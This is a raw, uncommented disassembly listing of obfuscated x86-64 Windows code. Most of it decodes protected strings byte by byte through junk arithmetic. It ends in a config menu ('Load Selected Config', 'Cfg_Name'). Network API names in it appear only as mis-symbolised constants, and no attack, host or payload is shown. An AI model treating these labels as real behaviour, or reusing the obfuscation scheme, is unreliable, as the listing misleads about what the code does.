add rdi, rcx
inc rdi
jmp 0x1400a0912
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a1380
movabs rcx, 0x7a6ef1fbfe1466b8
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 8
jmp 0x1400a1595
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400a0e19
movabs rdx, 0xa67897b8dc857ac8
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
jmp 0x1400a14b7
movabs rdx, 0x3c7d6a974bbe04d0
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rdi + 0xa50]
add r10b, r11b
jmp 0x1400a1568
movabs rdx, 0x877fd406835a49d4
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rdi + 0xa50]
add r10b, r11b
jmp 0x1400a15d0
movabs rcx, 0xd5a7cbab159272c2
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a0912
movabs rcx, 0x8aa5623bddf62dbe
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x32
jmp 0x1400a1595
movabs rdx, 0xf4a08f5d6ebda3b6
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rdi
inc rdi
jmp 0x1400a0912
movabs rdx, 0x5e9bbc7eff8519ae
mov ecx, Ordinal_35
add rdx, rdi
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0x16fc35dfafefe24e
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x22
add r11b, cl
mov byte [rbp + rdi + 0xa50], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400a0912
movabs rcx, 0x7d94803158b04aa2
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6e
inc r9
dec rdi
inc rdi
jmp 0x1400a0912
movabs rcx, 0x329216c22114059e
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x52
dec rdi
inc rdi
jmp 0x1400a0912
movabs rdx, 0xe78fad52e977c09a
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x36
add r10b, dl
movabs rdx, 0x61fe9f4ee78c2752
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x3e
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0xa50], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a0912
mov r11, rbx
movabs rdx, 0x688710542a2f18e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rdx, 0xad0108be1f286c56
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x5a
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xa50], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0xd2823d75baf68ed8
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0xa50], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xa50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a0912
movabs rdx, 0x70839e26d36a6786
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0xa50]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a0912
movabs rdx, 0x7c206363f217ed8a
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a0910
movabs rdx, 0x311df9f4ba7ba886
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a0900
lea rcx, [rbp + 0x17f39a8]
jmp 0x1400a16fa
lea rcx, [rbp + 0x14d5c2a]
jmp 0x1400a16fa
lea rcx, [rbp + 0xa50]
xor r8d, r8d
lea rdx, [rbp - 0x5c]
call fcn.140034820
test al, al
je 0x1400a1719
mov rax, qword [0x14022be88]
mov byte [rax + 0xa], 0
call fcn.1400408a0
mov byte [rbp + 0xa78], reloc.WS2_32.dll_send
mov byte [rbp + 0xa79], 0xfe
mov byte [rbp + 0xa7a], 0xf8
mov byte [rbp + 0xa7b], 0xf1
mov byte [rbp + 0xa7c], 0xf1
mov byte [rbp + 0xa7d], 0xf2
mov byte [rbp + 0xa7e], 0xe9
mov byte [rbp + 0xa7f], 0x67
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa80], xmm0
mov qword [rbp + 0xa90], rax
mov word [rbp + 0xa98], ax
mov byte [rbp + 0xa9a], al
movabs rsi, 0x3426c954d72b6fda
movabs r13, 0x7c635eeba8b8ecf2
movabs r14, 0x89f489f49c68a766
movabs r15, 0x912dcc1d4af6cd82
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1400a25ee
movzx r10d, byte [rbp + rdi + 0xa78]
mov rbx, r10
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400a25e2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a1813
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x62
jmp 0x1400a1850
je 0x1400a2550
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a24ae
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a2472
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a241f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a23f2
nop dword [rax]
cmp r9, rdi
ja 0x1400a25d6
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400a1886
lea rdx, [rdi + rsi]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a18c3
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a2399
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a236a
lea rcx, [r9 + 5]
cmp r8, rcx
je 0x1400a2335
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400a230c
cmp r8, rcx
je 0x1400a22d6
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400a1eee
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400a1ec8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a1e9a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a1e6f
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a1e49
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400a1e35
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400a1e00
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400a1ddb
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400a1db2
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400a1d78
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400a18d0
lea r8, [r9 + 5]
lea r9, [r8 + 0x28]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400a25ad
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400a2589
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400a1aae
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400a1a8e
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400a1a6e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400a1d12
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400a1cac
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400a1c55
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400a1c1b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400a1bf3
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400a1bce
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400a1b95
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400a1b81
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400a1b58
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400a1b2d
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400a1aff
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400a1ad6
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400a18d0
lea r8, [r9 + 4]
lea r9, [r8 + 0x1000]
jmp 0x1400a18d0
lea rdx, [rdi + r14]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a18c3
lea rdx, [rdi + r15]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1850
movabs rdx, 0x98670e45f984f39e
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x52
add r11b, dl
jmp 0x1400a17d5
movabs rdx, 0xa1364aa6b95b7ed0
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a23bc
movabs rcx, 0xa86f8ccf67e9a4ec
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x74
inc r9
dec rdi
inc rdi
jmp 0x1400a17c2
movabs rcx, 0xafa8cef81677cb08
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x38
dec rdi
inc rdi
jmp 0x1400a17c2
movabs rdx, 0xb6e21120c505f124
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a2442
movabs rdx, 0xbe1b534973941740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400a2481
movabs rdx, 0xc554957222223d5c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a17c2
movabs rdx, 0xcc8dd79ad0b06378
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
jmp 0x1400a24d0
movabs rdx, 0xd3c719c37f3e8994
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x1400a2506
movabs rdx, 0xdb005bec2dccafb0
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xa78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a17c2
movabs rdx, 0x7448c37a90be3512
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7e
add r11b, dl
cmp r9, 0x5a
jb 0x1400a2269
movabs rdx, 0x8f97d1e539ae686c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400a23bc
movabs rdx, 0x7b8205a33f4c5b2e
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x42
add r11b, dl
cmp r8, 3
jae 0x1400a2279
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400a214c
movabs rdx, 0xd7d4677c0b3be584
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1c78
movabs rdx, 0x82bb47cbedda814a
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 6
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x80
je 0x1400a22a9
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400a2030
movabs rdx, 0xa3ad9e27341075aa
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a1ccc
movabs rdx, 0x38e8b7fd0b049f1c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xa78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a17c2
movabs rdx, 0x4021fa25b992c538
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a2506
movabs rdx, 0x475b3c4e6820eb54
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4c
jmp 0x1400a24d0
movabs rcx, 0x4e947e7716af1170
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a17c2
movabs rdx, 0x55cdc09fc53d378c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1400a2481
movabs rdx, 0x5d0702c873cb5da8
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a243f
movabs rcx, 0x644044f1225983c4
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5c
dec rdi
inc rdi
jmp 0x1400a17c2
movabs rcx, 0x6b798719d0e7a9e0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x1400a17c2
movabs rdx, 0x72b2c9427f75cffc
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a23b9
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400a1f1b
lea rdx, [rdi + r13]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1d35
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a1f62
movabs rdx, 0x684d92a9ae56dfb4
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xa78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a17c2
inc rax
cmp r8, rax
jne 0x1400a1f93
movabs rdx, 0x59db0e58513a937c
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x64
jmp 0x1400a24d0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a1fd9
movabs rdx, 0x52a1cc2fa2ac6d60
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a17c2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a1ffa
movabs rdx, 0x4b688a06f41e4744
mov ecx, reloc.WS2_32.dll_select
jmp 0x1400a2481
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a1d35
movabs rdx, 0x2e83816439e5aed4
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a23bc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a2063
movabs rdx, 0x9c745bfe85824f8e
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a23b9
inc rax
cmp r8, rax
jne 0x1400a209d
movabs rcx, 0x953b19d5d6f42972
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1e
inc r9
dec rdi
inc rdi
jmp 0x1400a17c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a20d3
movabs rdx, 0x86c8958479d7dd3a
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a2442
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a2105
movabs rdx, 0x711ccf0a6e2d6ae6
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4a
jmp 0x1400a24d0
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a1ccf
movabs rdx, 0x62aa4ab911111eae
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xa78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a17c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a2193
movabs rdx, 0xd09b25535cadbf68
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xa78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a17c2
inc rax
cmp r8, rax
jne 0x1400a21c4
movabs rdx, 0xc228a101ff917330
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x50
jmp 0x1400a24d0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a21f6
movabs rdx, 0xac7cda87f3e700dc
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 4
jmp 0x1400a243f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a222e
movabs rcx, 0xa543985f4558dac0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x1400a17c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a1c78
movabs rcx, 0x9e0a563696cab4a4
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7c
inc r9
dec rdi
inc rdi
jmp 0x1400a17c2
mov byte [rbp + rdi + 0xa78], r11b
inc rdi
jmp 0x1400a17c2
movabs rdx, 0x885e8fbc8b204250
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rdi + 0xa78]
sub r11b, al
sub r11b, 0x30
add r11b, dl
add r11b, r10b
jmp 0x1400a2442
movabs rdx, 0x81254d93dc921c34
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rdi + 0xa78]
sub r11b, 0x6c
jmp 0x1400a24d0
movabs rcx, 0xf32375e6b42c18de
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x12
movzx eax, byte [rbp + rdi + 0xa78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a17c2
movabs rdx, 0xfa5cb80f62ba3efa
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a2506
movabs rcx, 0x8cf3c60bfd68b32
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5e
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a17c2
movabs rdx, 0x1e7b02dacb80fd86
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x1400a17c2
movabs rdx, 0x2ced872c289d49be
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x32
add r11b, dl
movabs rdx, 0xbfb30d0e267555e
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0xa78], cl
inc r9
dec rdi
inc rdi
jmp 0x1400a17c2
movabs rcx, 0x42994da63447bc12
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7e
inc r9
dec rdi
inc rdi
jmp 0x1400a17c2
movabs rdx, 0x510bd1f79164084a
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 6
add r11b, dl
movabs rdx, 0x4c1eea833d92f42
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0xa78], cl
jmp 0x1400a2496
movabs rdx, 0x584514203ff22e66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
add rdx, rdi
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a17c2
mov r10, rbx
movabs rdx, 0x66b798719d0e7a9e
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x52
add r11b, dl
movabs rdx, 0xfd88ac7f854b0926
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0xa
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xa78], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x79ec0b6b2e03f618
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0xa78], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xa78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a17c2
movabs rdx, 0x752a1cc2fa2ac6d6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xa78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400a17c2
movabs rcx, 0x9fa0506ea81319ba
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x16
jmp 0x1400a17c0
movabs rdx, 0xa6d9929756a13fd6
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a17b0
lea rcx, [rbp + 0x17f3d10]
jmp 0x1400a25f5
lea rcx, [rbp + 0x1382a02]
jmp 0x1400a25f5
lea rcx, [rbp + 0xa78]
xor r8d, r8d
xor edx, edx
call fcn.140040820
test al, al
je 0x1400a29d8
lea rcx, str.General
call fcn.140036770
xorps xmm0, xmm0
movups xmmword [rbp + 0x10b0], xmm0
movups xmmword [rbp + 0x10c0], xmm0
movups xmmword [rbp + 0x10d0], xmm0
movups xmmword [rbp + 0x10e0], xmm0
mov rdx, qword [0x14022c128]
add rdx, 0x60
lea rcx, [rbp + 0x10b0]
call fcn.1400e3260
nop
lea rcx, [0x1401d88c8]
call fcn.140001bc0
xor r8d, r8d
mov rdx, rax
lea rcx, [0x1401ba0f4]
call fcn.140036bc0
test al, al
je 0x1400a27af
mov rdx, qword [0x14022c128]
add rdx, 0x60
lea rcx, [rbp + 0x10f0]
call fcn.1400e3260
nop
xor eax, eax
mov qword [rbp + 0x1050], rax
mov rax, qword [rbp + 0x10f8]
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [rbp + 0x1050]
call fcn.14006c680
xor eax, eax
mov qword [rbp + 0x1058], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x1058]
call fcn.14006c680
mov rax, qword [rbp + 0x1050]
cmp rax, qword [rbp + 0x1058]
je 0x1400a2792
nop dword [rax]
lea rbx, [rax + 0x10]
mov rdx, rbx
lea rcx, [rbp + 0x1080]
call fcn.140002680
movzx eax, byte [rbx + 0x20]
mov byte [rbp + 0x10a0], al
lea rdx, [0x1401d88c8]
lea rcx, [rbp + 0x1080]
call fcn.14005bde0
movzx ebx, al
mov dword [rbp - 0x54], 0
mov dword [rbp - 0x50], 0
lea rcx, [rbp + 0x1080]
call fcn.140001bc0
lea r9, [rbp - 0x54]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.14003e490
test al, al
je 0x1400a275a
lea rdx, [rbp + 0x1080]
lea rcx, [0x1401d88c8]
call fcn.140004210
test bl, bl
je 0x1400a2768
call fcn.140014a40
nop
lea rcx, [rbp + 0x1080]
call fcn.140002820
mov rax, qword [rbp + 0x1050]
mov rax, qword [rax]
mov qword [rbp + 0x1050], rax
cmp rax, qword [rbp + 0x1058]
jne 0x1400a26e0
lea rcx, [rbp + 0x1108]
call fcn.14005b1d0
lea rcx, [rbp + 0x10f8]
call fcn.140064740
call fcn.140018d80
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0
xor r8d, r8d
lea rdx, [rsp + 0x5c]
lea rcx, str.Load_Selected_Config
call fcn.140034820
test al, al
je 0x1400a280b
cmp qword [0x1401d88d8], 0
je 0x1400a280b
lea rdx, [0x1401d88c8]
lea rcx, [rbp + 0x348]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c128]
call fcn.1400dbba0
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x68], 0
xor r8d, r8d
lea rdx, [rsp + 0x64]
lea rcx, str.Set_Selected_As_Default
call fcn.140034820
test al, al
je 0x1400a2867
cmp qword [0x1401d88d8], 0
je 0x1400a2867
lea rdx, [0x1401d88c8]
lea rcx, [rbp + 0x368]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c128]
call fcn.1400e0df0
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x70], 0
xor r8d, r8d
lea rdx, [rsp + 0x6c]
lea rcx, str.Override_Selected_Config
call fcn.140034820
test al, al
je 0x1400a28c3
cmp qword [0x1401d88d8], 0
je 0x1400a28c3
lea rdx, [0x1401d88c8]
lea rcx, [rbp + 0x388]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c128]
call fcn.1400de280
lea rcx, str.Settings
call fcn.140036770
mov dword [rsp + 0x74], 0
mov dword [rsp + 0x78], 0
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_50
lea rbx, [0x140227da0]
mov r8, rbx
lea rdx, [0x1401b0ef8]
lea rcx, str.Cfg_Name
call fcn.14003ae90
